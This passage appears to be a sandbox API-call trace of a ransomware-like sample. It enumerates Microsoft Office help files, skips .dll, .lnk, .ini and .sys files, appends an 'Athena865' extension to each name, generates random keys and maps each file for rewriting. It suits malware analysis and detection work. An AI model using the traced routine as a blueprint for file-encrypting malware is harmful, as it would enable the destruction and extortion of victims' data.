phProv=0x241d174*=0x54eee0) returned 1 [0142.748] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.748] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.753] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSOUC_COL.HXC" | out: lpString1="MSOUC_COL.HXC") returned="MSOUC_COL.HXC" [0142.753] lstrlenW (lpString="MSOUC_COL.HXC") returned 13 [0142.753] lstrlenW (lpString="Athena865") returned 9 [0142.753] lstrcmpiW (lpString1="C_COL.HXC", lpString2="Athena865") returned 1 [0142.753] lstrlenW (lpString=".dll") returned 4 [0142.753] lstrcmpiW (lpString1="MSOUC_COL.HXC", lpString2=".dll") returned 1 [0142.754] lstrlenW (lpString=".lnk") returned 4 [0142.754] lstrcmpiW (lpString1="MSOUC_COL.HXC", lpString2=".lnk") returned 1 [0142.754] lstrlenW (lpString=".ini") returned 4 [0142.754] lstrcmpiW (lpString1="MSOUC_COL.HXC", lpString2=".ini") returned 1 [0142.754] lstrlenW (lpString=".sys") returned 4 [0142.754] lstrcmpiW (lpString1="MSOUC_COL.HXC", lpString2=".sys") returned 1 [0142.754] lstrlenW (lpString="MSOUC_COL.HXC") returned 13 [0142.754] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC.Athena865") returned 71 [0142.754] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc.athena865"), dwFlags=0x1) returned 1 [0142.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.756] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=621) returned 1 [0142.756] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.756] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.756] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.756] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x570, lpName=0x0) returned 0x17c [0142.758] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x570) returned 0x100000 [0142.759] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.759] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.759] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.760] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSOUC_COL.HXT" | out: lpString1="MSOUC_COL.HXT") returned="MSOUC_COL.HXT" [0142.760] lstrlenW (lpString="MSOUC_COL.HXT") returned 13 [0142.760] lstrlenW (lpString="Athena865") returned 9 [0142.760] lstrcmpiW (lpString1="C_COL.HXT", lpString2="Athena865") returned 1 [0142.760] lstrlenW (lpString=".dll") returned 4 [0142.760] lstrcmpiW (lpString1="MSOUC_COL.HXT", lpString2=".dll") returned 1 [0142.760] lstrlenW (lpString=".lnk") returned 4 [0142.760] lstrcmpiW (lpString1="MSOUC_COL.HXT", lpString2=".lnk") returned 1 [0142.760] lstrlenW (lpString=".ini") returned 4 [0142.760] lstrcmpiW (lpString1="MSOUC_COL.HXT", lpString2=".ini") returned 1 [0142.760] lstrlenW (lpString=".sys") returned 4 [0142.760] lstrcmpiW (lpString1="MSOUC_COL.HXT", lpString2=".sys") returned 1 [0142.760] lstrlenW (lpString="MSOUC_COL.HXT") returned 13 [0142.760] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT.Athena865") returned 71 [0142.760] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt.athena865"), dwFlags=0x1) returned 1 [0142.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.762] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=205) returned 1 [0142.762] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.763] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.763] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.763] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d0, lpName=0x0) returned 0x17c [0142.765] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d0) returned 0x100000 [0142.766] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.767] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.767] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.767] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSOUC_F_COL.HXK" | out: lpString1="MSOUC_F_COL.HXK") returned="MSOUC_F_COL.HXK" [0142.767] lstrlenW (lpString="MSOUC_F_COL.HXK") returned 15 [0142.767] lstrlenW (lpString="Athena865") returned 9 [0142.767] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0142.767] lstrlenW (lpString=".dll") returned 4 [0142.767] lstrcmpiW (lpString1="MSOUC_F_COL.HXK", lpString2=".dll") returned 1 [0142.767] lstrlenW (lpString=".lnk") returned 4 [0142.767] lstrcmpiW (lpString1="MSOUC_F_COL.HXK", lpString2=".lnk") returned 1 [0142.767] lstrlenW (lpString=".ini") returned 4 [0142.767] lstrcmpiW (lpString1="MSOUC_F_COL.HXK", lpString2=".ini") returned 1 [0142.767] lstrlenW (lpString=".sys") returned 4 [0142.767] lstrcmpiW (lpString1="MSOUC_F_COL.HXK", lpString2=".sys") returned 1 [0142.767] lstrlenW (lpString="MSOUC_F_COL.HXK") returned 15 [0142.767] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK.Athena865") returned 73 [0142.768] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0142.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.770] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0142.770] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.770] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.770] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.771] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0142.772] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0142.773] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.774] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.774] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.776] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSOUC_K_COL.HXK" | out: lpString1="MSOUC_K_COL.HXK") returned="MSOUC_K_COL.HXK" [0142.776] lstrlenW (lpString="MSOUC_K_COL.HXK") returned 15 [0142.776] lstrlenW (lpString="Athena865") returned 9 [0142.776] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0142.776] lstrlenW (lpString=".dll") returned 4 [0142.776] lstrcmpiW (lpString1="MSOUC_K_COL.HXK", lpString2=".dll") returned 1 [0142.776] lstrlenW (lpString=".lnk") returned 4 [0142.776] lstrcmpiW (lpString1="MSOUC_K_COL.HXK", lpString2=".lnk") returned 1 [0142.776] lstrlenW (lpString=".ini") returned 4 [0142.776] lstrcmpiW (lpString1="MSOUC_K_COL.HXK", lpString2=".ini") returned 1 [0142.776] lstrlenW (lpString=".sys") returned 4 [0142.776] lstrcmpiW (lpString1="MSOUC_K_COL.HXK", lpString2=".sys") returned 1 [0142.776] lstrlenW (lpString="MSOUC_K_COL.HXK") returned 15 [0142.776] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK.Athena865") returned 73 [0142.776] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0142.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.778] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0142.778] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.779] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.779] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.779] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0142.781] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0142.782] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.782] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.782] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.783] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSPUB.DEV.HXS" | out: lpString1="MSPUB.DEV.HXS") returned="MSPUB.DEV.HXS" [0142.783] lstrlenW (lpString="MSPUB.DEV.HXS") returned 13 [0142.783] lstrlenW (lpString="Athena865") returned 9 [0142.783] lstrcmpiW (lpString1="B.DEV.HXS", lpString2="Athena865") returned 1 [0142.783] lstrlenW (lpString=".dll") returned 4 [0142.783] lstrcmpiW (lpString1="MSPUB.DEV.HXS", lpString2=".dll") returned 1 [0142.783] lstrlenW (lpString=".lnk") returned 4 [0142.783] lstrcmpiW (lpString1="MSPUB.DEV.HXS", lpString2=".lnk") returned 1 [0142.783] lstrlenW (lpString=".ini") returned 4 [0142.783] lstrcmpiW (lpString1="MSPUB.DEV.HXS", lpString2=".ini") returned 1 [0142.783] lstrlenW (lpString=".sys") returned 4 [0142.783] lstrcmpiW (lpString1="MSPUB.DEV.HXS", lpString2=".sys") returned 1 [0142.783] lstrlenW (lpString="MSPUB.DEV.HXS") returned 13 [0142.783] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS.Athena865") returned 71 [0142.783] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs.athena865"), dwFlags=0x1) returned 1 [0142.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.785] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4750792) returned 1 [0142.785] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.786] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.786] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.786] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4880d0, lpName=0x0) returned 0x17c [0142.787] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x880d0) returned 0x2bb0000 [0142.890] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.891] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.891] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.904] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSPUB.DEV_COL.HXC" | out: lpString1="MSPUB.DEV_COL.HXC") returned="MSPUB.DEV_COL.HXC" [0142.904] lstrlenW (lpString="MSPUB.DEV_COL.HXC") returned 17 [0142.904] lstrlenW (lpString="Athena865") returned 9 [0142.904] lstrcmpiW (lpString1="V_COL.HXC", lpString2="Athena865") returned 1 [0142.904] lstrlenW (lpString=".dll") returned 4 [0142.904] lstrcmpiW (lpString1="MSPUB.DEV_COL.HXC", lpString2=".dll") returned 1 [0142.904] lstrlenW (lpString=".lnk") returned 4 [0142.904] lstrcmpiW (lpString1="MSPUB.DEV_COL.HXC", lpString2=".lnk") returned 1 [0142.904] lstrlenW (lpString=".ini") returned 4 [0142.904] lstrcmpiW (lpString1="MSPUB.DEV_COL.HXC", lpString2=".ini") returned 1 [0142.904] lstrlenW (lpString=".sys") returned 4 [0142.905] lstrcmpiW (lpString1="MSPUB.DEV_COL.HXC", lpString2=".sys") returned 1 [0142.905] lstrlenW (lpString="MSPUB.DEV_COL.HXC") returned 17 [0142.905] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC.Athena865") returned 75 [0142.905] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc.athena865"), dwFlags=0x1) returned 1 [0142.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.907] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=641) returned 1 [0142.907] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.907] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.907] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.908] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x590, lpName=0x0) returned 0x17c [0142.909] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x590) returned 0x100000 [0142.910] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.911] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.911] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.911] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSPUB.DEV_COL.HXT" | out: lpString1="MSPUB.DEV_COL.HXT") returned="MSPUB.DEV_COL.HXT" [0142.911] lstrlenW (lpString="MSPUB.DEV_COL.HXT") returned 17 [0142.911] lstrlenW (lpString="Athena865") returned 9 [0142.911] lstrcmpiW (lpString1="V_COL.HXT", lpString2="Athena865") returned 1 [0142.911] lstrlenW (lpString=".dll") returned 4 [0142.911] lstrcmpiW (lpString1="MSPUB.DEV_COL.HXT", lpString2=".dll") returned 1 [0142.911] lstrlenW (lpString=".lnk") returned 4 [0142.911] lstrcmpiW (lpString1="MSPUB.DEV_COL.HXT", lpString2=".lnk") returned 1 [0142.912] lstrlenW (lpString=".ini") returned 4 [0142.912] lstrcmpiW (lpString1="MSPUB.DEV_COL.HXT", lpString2=".ini") returned 1 [0142.912] lstrlenW (lpString=".sys") returned 4 [0142.912] lstrcmpiW (lpString1="MSPUB.DEV_COL.HXT", lpString2=".sys") returned 1 [0142.912] lstrlenW (lpString="MSPUB.DEV_COL.HXT") returned 17 [0142.912] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT.Athena865") returned 75 [0142.912] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt.athena865"), dwFlags=0x1) returned 1 [0142.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.914] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=209) returned 1 [0142.914] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.914] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.914] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.915] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0, lpName=0x0) returned 0x17c [0142.917] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0) returned 0x100000 [0142.918] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.918] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.918] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.919] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSPUB.DEV_F_COL.HXK" | out: lpString1="MSPUB.DEV_F_COL.HXK") returned="MSPUB.DEV_F_COL.HXK" [0142.919] lstrlenW (lpString="MSPUB.DEV_F_COL.HXK") returned 19 [0142.919] lstrlenW (lpString="Athena865") returned 9 [0142.919] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0142.919] lstrlenW (lpString=".dll") returned 4 [0142.919] lstrcmpiW (lpString1="MSPUB.DEV_F_COL.HXK", lpString2=".dll") returned 1 [0142.919] lstrlenW (lpString=".lnk") returned 4 [0142.919] lstrcmpiW (lpString1="MSPUB.DEV_F_COL.HXK", lpString2=".lnk") returned 1 [0142.919] lstrlenW (lpString=".ini") returned 4 [0142.919] lstrcmpiW (lpString1="MSPUB.DEV_F_COL.HXK", lpString2=".ini") returned 1 [0142.919] lstrlenW (lpString=".sys") returned 4 [0142.919] lstrcmpiW (lpString1="MSPUB.DEV_F_COL.HXK", lpString2=".sys") returned 1 [0142.919] lstrlenW (lpString="MSPUB.DEV_F_COL.HXK") returned 19 [0142.919] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK.Athena865") returned 77 [0142.919] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0142.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.922] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0142.922] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.923] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.923] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.923] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0142.925] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0142.926] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.926] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.926] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.927] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSPUB.DEV_K_COL.HXK" | out: lpString1="MSPUB.DEV_K_COL.HXK") returned="MSPUB.DEV_K_COL.HXK" [0142.927] lstrlenW (lpString="MSPUB.DEV_K_COL.HXK") returned 19 [0142.927] lstrlenW (lpString="Athena865") returned 9 [0142.927] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0142.927] lstrlenW (lpString=".dll") returned 4 [0142.927] lstrcmpiW (lpString1="MSPUB.DEV_K_COL.HXK", lpString2=".dll") returned 1 [0142.927] lstrlenW (lpString=".lnk") returned 4 [0142.927] lstrcmpiW (lpString1="MSPUB.DEV_K_COL.HXK", lpString2=".lnk") returned 1 [0142.927] lstrlenW (lpString=".ini") returned 4 [0142.927] lstrcmpiW (lpString1="MSPUB.DEV_K_COL.HXK", lpString2=".ini") returned 1 [0142.927] lstrlenW (lpString=".sys") returned 4 [0142.927] lstrcmpiW (lpString1="MSPUB.DEV_K_COL.HXK", lpString2=".sys") returned 1 [0142.927] lstrlenW (lpString="MSPUB.DEV_K_COL.HXK") returned 19 [0142.927] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK.Athena865") returned 77 [0142.927] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft 